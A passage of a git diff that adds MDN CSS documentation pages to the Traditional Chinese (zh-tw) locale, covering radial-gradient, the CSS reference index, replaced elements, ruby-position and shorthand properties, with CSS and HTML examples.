+<p>Color-stop points are positioned on a <em>virtual gradient ray</em> that extends horizontally from the center towards the right. Percentage-based color-stop positions are relative to the intersection between the ending shape and this gradient ray, which represents <code>100%</code>. Each shape is a single color determined by the color on the gradient ray it intersects.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* A gradient at the center of its container,
+   starting red, changing to blue, and finishing green */
+radial-gradient(circle at center, red 0, blue, green 100%)</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;position&gt;")}}</dt>
+ <dd>The position of the gradient, interpreted in the same way as {{cssxref("background-position")}} or {{cssxref("transform-origin")}}. If unspecified, it defaults to <code>center</code>.</dd>
+ <dt><code>&lt;shape&gt;</code></dt>
+ <dd>The gradient's shape. The value can be <code>circle</code> (meaning that the gradient's shape is a circle with constant radius) or <code>ellipse</code> (meaning that the shape is an axis-aligned ellipse). If unspecified, it defaults to <code>ellipse</code>.</dd>
+ <dt><code>&lt;extent-keyword&gt;</code></dt>
+ <dd>A keyword describing how big the ending shape must be. The possible values are:
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th>Keyword</th>
+    <th>Description</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>closest-side</code></td>
+    <td>The gradient's ending shape meets the side of the box closest to its center (for circles) or meets both the vertical and horizontal sides closest to the center (for ellipses).</td>
+   </tr>
+   <tr>
+    <td><code>closest-corner</code></td>
+    <td>The gradient's ending shape is sized so that it exactly meets the closest corner of the box from its center.</td>
+   </tr>
+   <tr>
+    <td><code>farthest-side</code></td>
+    <td>Similar to <code>closest-side</code>, except the ending shape is sized to meet the side of the box farthest from its center (or vertical and horizontal sides).</td>
+   </tr>
+   <tr>
+    <td><code>farthest-corner</code></td>
+    <td>The default value, the gradient's ending shape is sized so that it exactly meets the farthest corner of the box from its center.</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note">
+ <p><strong>Note:</strong> Early implementations of this function included other keywords (<code>cover</code> and <code>contain</code>) as synonyms of the standard <code>farthest-corner</code> and <code>closest-side</code>, respectively. Use the standard keywords only, as some implementations have already dropped those older variants.</p>
+ </div>
+ </dd>
+ <dt><code>&lt;linear-color-stop&gt;</code></dt>
+ <dd>A color-stop's {{cssxref("&lt;color&gt;")}} value, followed by an one or two optional stop positions (either a {{cssxref("&lt;percentage&gt;")}} or a {{cssxref("&lt;length&gt;")}} along the gradient's axis). A percentage of <code>0%</code>, or a length of <code>0</code>, represents the center of the gradient; the value <code>100%</code> represents the intersection of the ending shape with the virtual gradient ray. Percentage values in between are linearly positioned on the gradient ray. Including two stop positions is equivalent to declaring two color stops with the same color at the two positions.</dd>
+ <dt><code>&lt;color-hint&gt;</code></dt>
+ <dd>Th color-hint is an interpolation hint defining how the gradient progresses between adjacent color stops. The length defines at which point between two color stops the gradient color should reach the midpoint of the color transition. If omitted, the midpoint of the color transition is the midpoint between two color stops.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox notranslate">radial-gradient(
+  [ [ circle || <a href="/en-US/docs/CSS/length">&lt;length&gt;</a> ]                         [ at <a href="/en-US/docs/CSS/position_value">&lt;position&gt;</a> ]? , |
+    [ ellipse || [ <a href="/en-US/docs/CSS/length">&lt;length&gt;</a> | <a href="/en-US/docs/CSS/percentage">&lt;percentage&gt;</a> ]{2} ]  [ at <a href="/en-US/docs/CSS/position_value">&lt;position&gt;</a> ]? , |
+    [ [ circle | ellipse ] || &lt;extent-keyword&gt; ] [at <a href="/en-US/docs/CSS/position_value">&lt;position&gt;</a> ]? , |
+    at <a href="/en-US/docs/CSS/position_value">&lt;position&gt;</a> ,
+  ]?
+  &lt;color-stop-list&gt; [ , &lt;color-stop-list&gt; ]+
+)
+where &lt;extent-keyword&gt; = closest-corner | closest-side | farthest-corner | farthest-side
+   and &lt;color-stop-list&gt; = [ &lt;linear-color-stop&gt; [, &lt;color-hint&gt;? ]? ]#, &lt;linear-color-stop&gt;
+   and &lt;linear-color-stop&gt; = &lt;color&gt; [ &lt;color-stop-length&gt; ]?
+   and &lt;color-stop-length&gt; = [ &lt;percentage&gt; | &lt;length&gt; ]{1,2}
+   and &lt;color-hint&gt; = [ &lt;percentage&gt; | &lt;length&gt; ]
+</pre>
+
+<div class="blockIndicator warning">
+<p>Note that negative <code>&lt;length&gt;</code>'s are not allowed, however browsers had implemented negative lengths which are now being removed. <a href="https://www.fxsitecompat.dev/en-CA/docs/2019/css-radial-gradients-no-longer-accept-negative-radii/">See the Firefox site compat note</a>.</p>
+</div>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Simple_gradient">Simple gradient</h3>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="radial-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.radial-gradient {
+  width: 240px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.radial-gradient {
+  background-image: radial-gradient(cyan 0%, transparent 20%, salmon 40%);
+} </pre>
+
+<p>{{EmbedLiveSample('Simple_gradient', 120, 120)}}</p>
+
+<h3 id="Non-centered_gradient">Non-centered gradient</h3>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="radial-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.radial-gradient {
+  width: 240px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.radial-gradient {
+  background-image: radial-gradient(farthest-corner at 40px 40px,
+      #f35 0%, #43e 100%);
+}</pre>
+
+<p>{{EmbedLiveSample('Non-centered_gradient', 240, 120)}}</p>
+
+<div class="note">
+<p><strong>Note:</strong> Please see <a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">Using CSS gradients</a> for more examples.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#radial-gradients', 'radial-gradients()')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<div>{{Compat("css.types.image.gradient.radial-gradient")}}</div>
+
+<h3 id="Quantum_CSS_notes">Quantum CSS notes</h3>
+
+<p>Gecko used to have a long-standing bug whereby radial gradients like <code>radial-gradient(circle gold,red)</code> would work, even though they shouldn't because of the missing comma between <code>circle</code> and <code>gold</code>. Also, {{cssxref("calc")}} expressions were rejected — causing the value to be invalid — when used as the radius component of a <code>radial-gradient()</code> function ({{bug(1376019)}}). Firefox's new parallel CSS engine (also known as <a href="https://wiki.mozilla.org/Quantum">Quantum CSS</a> or <a href="https://wiki.mozilla.org/Quantum/Stylo">Stylo</a>, released in Firefox 57) fixed these bugs.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">Using CSS gradients</a></li>
+ <li>Other gradient functions: {{cssxref("repeating-radial-gradient")}}, {{cssxref("linear-gradient")}}, {{cssxref("repeating-linear-gradient")}}, {{cssxref("conic-gradient")}}, {{cssxref("repeating-conic-gradient")}}</li>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+ <li>{{cssxref("_image","image()")}}</li>
+ <li>{{cssxref("element()")}}</li>
+ <li>{{cssxref("image-set","image-set()")}}</li>
+ <li>{{cssxref("cross-fade")}}</li>
+</ul>
diff --git a/files/zh-tw/web/css/reference/index.html b/files/zh-tw/web/css/reference/index.html
new file mode 100644
index 0000000000..2b2dfc4455
--- /dev/null
+++ b/files/zh-tw/web/css/reference/index.html
@@ -0,0 +1,211 @@
+---
+title: CSS 參考文件
+slug: Web/CSS/Reference
+translation_of: Web/CSS/Reference
+---
+<p class="summary">Use this <strong>CSS reference</strong> to browse an <a href="#Keyword_index">alphabetical index</a> of all the standard <a href="/en-US/docs/Web/CSS">CSS</a> properties, <a href="/en-US/docs/Web/CSS/Pseudo-classes">pseudo-classes</a>, <a href="/en-US/docs/Web/CSS/Pseudo-elements">pseudo-elements</a>, <a href="/en-US/docs/Web/CSS/CSS_Types">data types</a>, and <a href="/en-US/docs/Web/CSS/At-rule">at-rules</a>. You can also browse a list of all the CSS <a href="#Selectors">selectors organized by type</a> and a list of <a href="#Concepts">key CSS concepts</a>. Also included is a brief <a href="#DOM-CSS_CSSOM">DOM-CSS / CSSOM reference</a>.</p>
+
+<h2 id="基本語法規則">基本語法規則</h2>
+
+<h3 id="Style_rule_syntax">Style rule syntax</h3>
+
+<pre class="syntaxbox"><strong><var>selectorlist</var> {
+  <var>property</var>: <var>value</var>;</strong>
+  <var>[more property:value; pairs]</var>
+<strong>}</strong>
+
+... where <var>selectorlist</var> is: <var>selector[:pseudo-class] [::pseudo-element] [, more selectorlists]</var>
+
+See <a href="#Selectors"><em>selector</em></a>, <a href="#pcls"><em>pseudo-class</em></a>, <em><a href="#pelm">pseudo-element</a></em> lists below.
+</pre>
+
+<h4 id="Style_rule_examples">Style rule examples</h4>
+
+<pre class="brush: css">strong {
+  color: red;
+}
+
+div.menu-bar li:hover &gt; ul {
+  display: block;
+}
+</pre>
+
+<p>For a beginner-level introduction to the syntax of CSS selectors, please see <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors">this tutorial</a>. Be aware that any <a href="/en-US/docs/Web/CSS/syntax">CSS syntax</a> error in a rule definition invalidates the entire rule. Invalid rules are ignored by the browser. Note that CSS rule definitions are entirely (ASCII) <a href="https://www.w3.org/TR/css-syntax-3/#intro">text-based</a>, whereas DOM-CSS / CSSOM (the rule management system) is <a href="https://www.w3.org/TR/cssom/#introduction">object-based</a>.</p>
+
+<h3 id="At-rule_syntax">At-rule syntax</h3>
+
+<p>As the structure of at-rules varies widely, please see <a href="/en-US/docs/Web/CSS/At-rule">At-rule</a> to find the syntax of the specific one you want.</p>
+
+<h2 id="Keyword_index">Keyword index</h2>
+
+<div class="note">
+<p><strong>Note:</strong> The property names in this index do <strong>not</strong> include the <a href="/en-US/docs/Web/CSS/CSS_Properties_Reference">JavaScript names</a> where they differ from the CSS standard names.</p>
+</div>
+
+<div>{{CSS_Ref}}</div>
+
+<h2 id="Selectors">Selectors</h2>
+
+<h3 id="Basic_selectors"><a href="/en-US/docs/Web/CSS/CSS_Selectors#Basic_selectors">Basic selectors</a></h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/Type_selectors">Type selector</a> <code>elementname</code></li>
+ <li><a href="/en-US/docs/Web/CSS/Class_selectors">Class selector</a> <code>.classname</code></li>
+ <li><a href="/en-US/docs/Web/CSS/ID_selectors">ID selector</a> <code>#idname</code></li>
+ <li><a href="/en-US/docs/Web/CSS/Universal_selectors">Universal selector</a> <code>*</code>, <code>ns|*</code>, <code>*|*</code>, <code>|*</code></li>
+ <li><a href="/en-US/docs/Web/CSS/Attribute_selectors">Attribute selector</a> <code>[attr=value]</code></li>
+</ul>
+
+<h3 id="Combinators"><a href="/en-US/docs/Web/CSS/CSS_Selectors#Combinators">Combinators</a></h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/Adjacent_sibling_selectors">Adjacent sibling combinator</a> <code>A + B</code></li>
+ <li><a href="/en-US/docs/Web/CSS/General_sibling_selectors">General sibling combinator</a> <code>A ~ B</code></li>
+ <li><a href="/en-US/docs/Web/CSS/Child_selectors">Child combinator</a> <code>A &gt; B</code></li>
+ <li><a href="/en-US/docs/Web/CSS/Descendant_selectors">Descendant combinator</a> <code>A B</code></li>
+</ul>
+
+<h3 id="Pseudo-classes"><a href="/en-US/docs/Web/CSS/Pseudo-classes">Pseudo-classes</a></h3>
+
+<div class="index">
+<ul>
+ <li id="pcls">{{ Cssxref(":active") }}</li>
+ <li>{{cssxref(':any')}}</li>
+ <li>{{cssxref(':any-link')}}</li>
+ <li>{{ Cssxref(":checked") }}</li>
+ <li>{{ Cssxref(":default") }}</li>
+ <li>{{ Cssxref(":defined") }}</li>
+ <li>{{ Cssxref(":dir", ":dir()")}}</li>
+ <li>{{ Cssxref(":disabled") }}</li>
+ <li>{{ Cssxref(":empty") }}</li>
+ <li>{{ Cssxref(":enabled") }}</li>
+ <li>{{ Cssxref(":first") }}</li>
+ <li>{{ Cssxref(":first-child") }}</li>
+ <li>{{ Cssxref(":first-of-type") }}</li>
+ <li>{{ Cssxref(":fullscreen") }}</li>
+ <li>{{ Cssxref(":focus") }}</li>
+ <li>{{ Cssxref(":focus-visible") }}</li>
+ <li>{{ Cssxref(":host") }}</li>
+ <li>{{ Cssxref(":host()") }}</li>
+ <li>{{ Cssxref(":host-context()") }}</li>
+ <li>{{ Cssxref(":hover") }}</li>
+ <li>{{ Cssxref(":indeterminate") }}</li>
+ <li>{{ Cssxref(":in-range") }}</li>
+ <li>{{ Cssxref(":invalid") }}</li>
+ <li>{{ Cssxref(":lang", ":lang()") }}</li>
+ <li>{{ Cssxref(":last-child") }}</li>
+ <li>{{ Cssxref(":last-of-type") }}</li>
+ <li>{{ Cssxref(":left") }}</li>
+ <li>{{ Cssxref(":link") }}</li>
+ <li>{{ Cssxref(":not", ":not()") }}</li>
+ <li>{{ Cssxref(":nth-child", ":nth-child()") }}</li>
+ <li>{{ Cssxref(":nth-last-child", ":nth-last-child()") }}</li>
+ <li>{{ Cssxref(":nth-last-of-type", ":nth-last-of-type()") }}</li>
+ <li>{{ Cssxref(":nth-of-type", ":nth-of-type()") }}</li>
+ <li>{{ Cssxref(":only-child") }}</li>
+ <li>{{ Cssxref(":only-of-type") }}</li>
+ <li>{{ Cssxref(":optional") }}</li>
+ <li>{{ Cssxref(":out-of-range") }}</li>
+ <li>{{ Cssxref(":read-only") }}</li>
+ <li>{{ Cssxref(":read-write") }}</li>
+ <li>{{ Cssxref(":required") }}</li>
+ <li>{{ Cssxref(":right") }}</li>
+ <li>{{ Cssxref(":root") }}</li>
+ <li>{{ Cssxref(":scope") }}</li>
+ <li>{{ Cssxref(":target") }}</li>
+ <li>{{ Cssxref(":valid") }}</li>
+ <li>{{ Cssxref(":visited") }}</li>
+</ul>
+</div>
+
+<h3 id="Pseudo-elements"><a href="/en-US/docs/Web/CSS/Pseudo-elements">Pseudo-elements</a></h3>
+
+<div class="index">
+<ul>
+ <li id="pelm">{{ Cssxref("::after") }}</li>
+ <li>{{ Cssxref("::backdrop") }}</li>
+ <li>{{ Cssxref("::before") }}</li>
+ <li>{{ Cssxref("::cue") }}</li>
+ <li>{{ Cssxref("::first-letter") }}</li>
+ <li>{{ Cssxref("::first-line") }}</li>
+ <li>{{ Cssxref("::grammar-error") }} {{experimental_inline}}</li>
+ <li>{{ Cssxref("::marker") }} {{experimental_inline}}</li>
+ <li>{{ Cssxref("::placeholder") }} {{experimental_inline}}</li>
+ <li>{{ Cssxref("::selection") }}</li>
+ <li>{{ Cssxref("::spelling-error") }} {{experimental_inline}}</li>
+</ul>
+</div>
+
+<div class="note">
+<p><strong>See also:</strong> A complete <a href="https://www.w3.org/TR/selectors/#selectors">list of selectors</a> in the Selectors Level 3 specification.</p>
+</div>
+
+<h2 id="Concepts">Concepts</h2>
+
+<h3 id="Syntax_and_semantics">Syntax and semantics</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/Syntax">CSS syntax</a></li>
+ <li><a href="/en-US/docs/Web/CSS/At-rule">At-rules</a></li>
+ <li><a href="/en-US/docs/Web/CSS/Cascade">Cascade</a></li>
+ <li><a href="/en-US/docs/Web/CSS/Comments">Comments</a></li>
+ <li><a href="/en-US/docs/Glossary/Descriptor_(CSS)">Descriptor</a></li>
+ <li><a href="/en-US/docs/Web/CSS/inheritance">Inheritance</a></li>
+ <li><a href="/en-US/docs/Web/CSS/Shorthand_properties">Shorthand properties</a></li>
+ <li><a href="/en-US/docs/Web/CSS/Specificity">Specificity</a></li>
+ <li><a href="/en-US/docs/Web/CSS/Value_definition_syntax">Value definition syntax</a></li>
+</ul>
+
+<h3 id="Values">Values</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/actual_value">Actual value</a></li>
+ <li><a href="/en-US/docs/Web/CSS/computed_value">Computed value</a></li>
+ <li><a href="/en-US/docs/Web/CSS/initial_value">Initial value</a></li>
+ <li><a href="/en-US/docs/Web/CSS/resolved_value">Resolved value</a></li>
+ <li><a href="/en-US/docs/Web/CSS/specified_value">Specified value</a></li>
+ <li><a href="/en-US/docs/Web/CSS/used_value">Used value</a></li>
+</ul>
+
+<h3 id="Layout">Layout</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Block_formatting_context">Block formatting context</a></li>
+ <li><a href="/en-US/docs/Web/CSS/box_model">Box model</a></li>
+ <li><a href="/en-US/docs/Web/CSS/All_About_The_Containing_Block">Containing block</a></li>
+ <li><a href="/en-US/docs/Web/CSS/Layout_mode">Layout mode</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">Margin collapsing</a></li>
+ <li><a href="/en-US/docs/Web/CSS/Replaced_element">Replaced elements</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context">Stacking context</a></li>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Visual_formatting_model">Visual formatting model</a></li>
+</ul>
+
+<h2 id="DOM-CSS_CSSOM">DOM-CSS / CSSOM</h2>
+
+<h3 id="Major_object_types">Major object types</h3>
+
+<ul>
+ <li>document.<a href="/en-US/docs/Web/API/Document/styleSheets">styleSheets</a></li>
+ <li>styleSheets[i].<a href="/en-US/docs/Web/API/CSSRuleList">cssRules</a></li>
+ <li>cssRules[i].<a href="/en-US/docs/Web/API/CSSRule/cssText">cssText</a> (selector &amp; style)</li>
+ <li>cssRules[i].<a href="/en-US/docs/Web/API/CSSStyleRule/selectorText">selectorText</a></li>
+ <li>elem.<a href="/en-US/docs/Web/API/HTMLElement/style">style</a></li>
+ <li>elem.style.<a href="/en-US/docs/Web/API/CSSStyleDeclaration/cssText">cssText</a> (just style)</li>
+ <li>elem.<a href="/en-US/docs/Web/API/Element/className">className</a></li>
+ <li>elem.<a href="/en-US/docs/Web/API/Element/classList">classList</a></li>
+</ul>
+
+<h3 id="Important_methods">Important methods</h3>
+
+<ul>
+ <li>{{domxref("CSSStyleSheet.insertRule")}}</li>
+ <li>{{domxref("CSSStyleSheet.deleteRule")}}</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/Mozilla_Extensions">Mozilla CSS extensions</a> (prefixed with <code>-moz</code>)</li>
+ <li><a href="/en-US/docs/Web/CSS/Webkit_Extensions">WebKit CSS extensions</a> (mostly prefixed with <code>-webkit</code>)</li>
+ <li><a href="/en-US/docs/Web/CSS/Microsoft_CSS_extensions">Microsoft CSS extensions</a> (prefixed with <code>-ms</code>)</li>
+</ul>
diff --git a/files/zh-tw/web/css/replaced_element/index.html b/files/zh-tw/web/css/replaced_element/index.html
new file mode 100644
index 0000000000..10e6def514
--- /dev/null
+++ b/files/zh-tw/web/css/replaced_element/index.html
@@ -0,0 +1,20 @@
+---
+title: 置換元素 (Replaced element)
+slug: Web/CSS/Replaced_element
+translation_of: Web/CSS/Replaced_element
+---
+<div>{{CSSRef()}}</div>
+
+<h2 id="摘要">摘要</h2>
+
+<p>CSS 中所謂的「置換元素 (<strong>Replaced element</strong>)」，即是該元素所呈現的內容不在 CSS 的控制範圍之內。這類外部物件所呈現的內容均獨立於 CSS 之外。常見的置換元素包含 {{HTMLElement("img")}}、{{HTMLElement("object")}}、{{HTMLElement("video")}}，或如 {{HTMLElement("textarea")}} 與 {{HTMLElement("input")}} 的表單元素。某些元素 (像是 {{HTMLElement("audio")}} 或 {{HTMLElement("canvas")}}) 只有在特殊情況下才是置替換元素。若是透過 CSS {{cssxref("content")}} 屬性所插入的物件，則稱為「不具名置換元素 (Anonymous replaced elements)」。</p>
+
+<p>在某些情況下，CSS 會特別處理置換元素，如計算邊距空白 (Margin) 與某些 <code>auto</code> 的值。</p>
+
+<p>另需注意的是，<strong>某些</strong>置換元素本身就具備固定尺寸 (Intrinsic dimension) 或已定義的基準線 (Baseline)，並可由 CSS 的某些屬性 (如 {{cssxref("vertical-align")}}) 所利用。</p>
+
+<h2 id="另可參閱">另可參閱</h2>
+
+<ul>
+ <li>{{CSS_key_concepts()}}</li>
+</ul>
diff --git a/files/zh-tw/web/css/ruby-position/index.html b/files/zh-tw/web/css/ruby-position/index.html
new file mode 100644
index 0000000000..6caff70d64
--- /dev/null
+++ b/files/zh-tw/web/css/ruby-position/index.html
@@ -0,0 +1,112 @@
+---
+title: ruby-position
+slug: Web/CSS/ruby-position
+translation_of: Web/CSS/ruby-position
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>CSS 的 <code><strong>ruby-position</strong></code> 屬性定義了 ruby 元素與該基礎元素（base element）相關聯的位置。它能在元素上方（<code>over</code>）、下方（<code>under</code>）、兩個字符之間、抑或右方（<code>inter-character</code>）。</p>
+
+<pre class="brush:css notranslate">/* 關鍵字值 */
+ruby-position: over;
+ruby-position: under;
+ruby-position: inter-character;
+
+/* 全域值 */
+ruby-position: inherit;
+ruby-position: initial;
+ruby-position: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="語法">語法</h2>
+
+<h3 id="屬性值">屬性值</h3>
+
+<dl>
+ <dt><code>over</code></dt>
+ <dd><img alt="Over example" src="https://mdn.mozillademos.org/files/10251/Screen%20Shot%202015-03-04%20at%2013.02.20.png" style="height: 31px; width: 77px;">如果文件以橫式排列，該關鍵字會指引旁註標記（ruby）出現在主文的上方。如果文件以直式排列，則會出現在主文的右方。</dd>
+ <dt><code>under</code></dt>
+ <dd><img alt="Under example" src="https://mdn.mozillademos.org/files/10249/Screen%20Shot%202015-03-04%20at%2013.02.07.png" style="height: 34px; width: 78px;">如果文件以橫式排列，該關鍵字會指引旁註標記出現在在主文的下方。如果文件以直式排列，則會出現在主文的左方。</dd>
+ <dt><code>inter-character</code></dt>
+ <dd>該關鍵字會指引旁註標記出現在在主文的兩個字符的中間。</dd>
+</dl>
+
+<h3 id="正式語法">正式語法</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="示例">示例</h2>
+
+<p>HTML 會因為 <code>ruby-position</code> 的值不同，而作出不同的渲染：</p>
+
+<pre class="brush: html notranslate">&lt;ruby&gt;
+  &lt;rb&gt;超電磁砲&lt;/rb&gt;
+  &lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レールガン&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;
+&lt;/ruby&gt;
+</pre>
+
+<h3 id="旁註標記定位到主文上方">旁註標記定位到主文上方</h3>
+
+<pre class="brush: html notranslate" style="display: none;">&lt;ruby&gt;
+  &lt;rb&gt;超電磁砲&lt;/rb&gt;
+  &lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レールガン&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;
+&lt;/ruby&gt;
+</pre>
+
+<pre class="brush: css notranslate">ruby {
+    ruby-position:over;
+}</pre>
+
+<p>它會給出如下結果：</p>
+
+<p>{{EmbedLiveSample("旁註標記定位到主文上方", 100, 40)}}</p>
+
+<h3 id="旁註標記定位到主文下方">旁註標記定位到主文下方</h3>
+
+<pre class="brush: html notranslate" style="display: none;">&lt;ruby&gt;
+  &lt;rb&gt;超電磁砲&lt;/rb&gt;
+  &lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レールガン&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;
+&lt;/ruby&gt;
+</pre>
+
+<pre class="brush: css notranslate">ruby {
+    ruby-position:under;
+}</pre>
+
+<p>它會給出如下結果：</p>
+
+<p>{{EmbedLiveSample("旁註標記定位到主文下方", 100, 40)}}</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Ruby', '#rubypos', 'ruby-position') }}</td>
+   <td>{{ Spec2('CSS3 Ruby') }}</td>
+   <td>初始定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("css.properties.ruby-position")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>HTML 的旁註標記元素：{{HTMLElement("ruby")}}、{{HTMLElement("rt")}}、{{HTMLElement("rp")}}、{{HTMLElement("rtc")}}。</li>
+ <li>CSS 的旁註標記屬性：{{cssxref("ruby-align")}}、{{cssxref("ruby-merge")}}。</li>
+</ul>
diff --git a/files/zh-tw/web/css/shorthand_properties/index.html b/files/zh-tw/web/css/shorthand_properties/index.html
new file mode 100644
index 0000000000..2e880da57e
--- /dev/null
+++ b/files/zh-tw/web/css/shorthand_properties/index.html
@@ -0,0 +1,138 @@
+---
+title: 特性簡寫
+slug: Web/CSS/Shorthand_properties
+translation_of: Web/CSS/Shorthand_properties
+---
+<h2 id="Definition" name="Definition">定義</h2>
+
+<p><dfn>特性簡寫，是一種可以同時設定許多其他 CSS 屬性值的 CSS 屬性。</dfn> 使用特性簡寫，網頁開發者可以寫出更簡潔、且通常更具可讀性的樣式表，省時又省力。</p>
+
+<p>CSS 規範中定義，特性簡寫用來組合作用於相同主題的常見性質。舉例來說，CSS {{cssxref("background")}} 這個性質是個特性簡寫，可同時定義 {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-repeat")}}, 和 {{cssxref("background-position")}} 等屬性。同樣的，最常用的字體相關屬性，可以使用 {{cssxref("font")}} 來定義；圍繞在方塊周圍的邊界，則可簡單地以 {{cssxref("margin")}} 簡寫來定義。</p>
+
+<h2 id="Tricky_edge_cases" name="Tricky_edge_cases">需謹慎之處</h2>
+
+<p>即便特性簡寫非常易於使用，仍有幾個需要銘記在心的情況：</p>
+
+<ol>
+ <li>未指明的值會被設為預設值。這聽起來真的很怪，但他的確會<strong>覆寫</strong>先前的設定值。比如：
+
+  <pre class="brush: css">background-color: red;
+background: url(images/bg.gif) no-repeat top right;</pre>
+  不會將背景設為紅色，而是使用 {{cssxref("background-color")}} 的預設值 <code>transparent</code>，由於較後面的規則為優先。</li>
+ <li>只有獨立的屬性可以被繼承。就如同遺失的值會被預設值取代一樣，不可能讓缺漏的值再去繼承個別屬性。關鍵字 <code>inherit</code> 可以用於屬性，但只能整體繼承，而不能用於個別值上。意思是，如果要繼承某個特定的值，就必須使用完整的語句，搭配 <code>inherit </code>關鍵字<code>。</code></li>
+ <li>簡寫屬性試著不強迫使用特定順序，在那些屬性有許多不同類型的值的狀況下的確很方便。但是在許多屬性具有類似值時就沒這麼簡單了，此時會以以下規則處理：
+  <ol>
+   <li>關於區塊的簡寫性質，諸如 {{cssxref("border-style")}}, {{cssxref("margin")}} 或 {{cssxref("padding")}}，就會使用連貫的１～４個值來定義下列這些邊：
+    <table>
+     <tbody>
+      <tr>
+       <td style="width: 79px;"><img alt="border1.png" src="/files/3646/border1.png"></td>
+       <td><em>單值語法：</em><code>border-width: 1em</code> — 這個唯一的值定義所有四邊</td>
+      </tr>
+      <tr>
+       <td><img alt="border2.png" src="/files/3647/border2.png"></td>
+       <td><em>雙值語法：</em><code>border-width: 1em 2em</code> — 第一個值代表垂直部分，也就是上和下邊；第二個值則是指水平部分，也就是左右邊。</td>
+      </tr>
+      <tr>
+       <td><img alt="border3.png" src="/files/3648/border3.png"></td>
+       <td><em>三值語法：</em><code>border-width: 1em 2em 3em</code> — 第一個值代表上邊，第二個值代表兩旁的邊，而第三個值代表下邊。</td>
+      </tr>
+      <tr>
+       <td><img alt="border4.png" src="/files/3649/border4.png"></td>
+       <td>
+        <p><em>四值語法：</em><code>border-width: 1em 2em 3em 4em</code> — 這四個值分別代表上、右、下、左邊，順時針的方向由上開始排列（可以以 trouble 來記憶，即英文首文字的縮寫 TRBL）</p>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </li>
+   <li>與之相似地，關於區塊角落的屬性，像是 {{cssxref("border-radius")}}，也會使用連貫的１～４個值來代表四個角落：
+    <table>
+     <tbody>
+      <tr>
+       <td style="width: 69px;"><img alt="corner1.png" src="/files/3650/corner1.png"></td>
+       <td><em>單值語法：</em><code>border-radius: 1em</code> — 這唯一的值代表了所有角落。</td>
+      </tr>
+      <tr>
+       <td><img alt="corner2.png" src="/files/3651/corner2.png"></td>
+       <td><em>雙值語法：</em><code>border-radius: 1em 2em</code> — 第一個值代表左上和右下，第二個值則是右上及左下角。</td>
+      </tr>
+      <tr>
+       <td><img alt="corner3.png" src="/files/3652/corner3.png"></td>
+       <td><em>三值語法：</em><code>border-radius: 1em 2em 3em</code> — 第一個值代表左上，第二個值代表右上及左下，第三個值則是右下的角落。</td>
+      </tr>
+      <tr>
+       <td><img alt="corner4.png" src="/files/3653/corner4.png"></td>
+       <td>
+        <p><em>四值語法：</em><code>border-radius: 1em 2em 3em 4em</code> — 這四個值分別代表左上、右上、右下、左下，由左上開始的順時針排序。</p>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </li>
+  </ol>
+ </li>
+</ol>
+
+<h2 id="Background_Properties" name="Background_Properties">背景屬性</h2>
+
+<p>背景會有下列這些屬性:</p>
+
+<pre class="brush:css">background-color: #000;
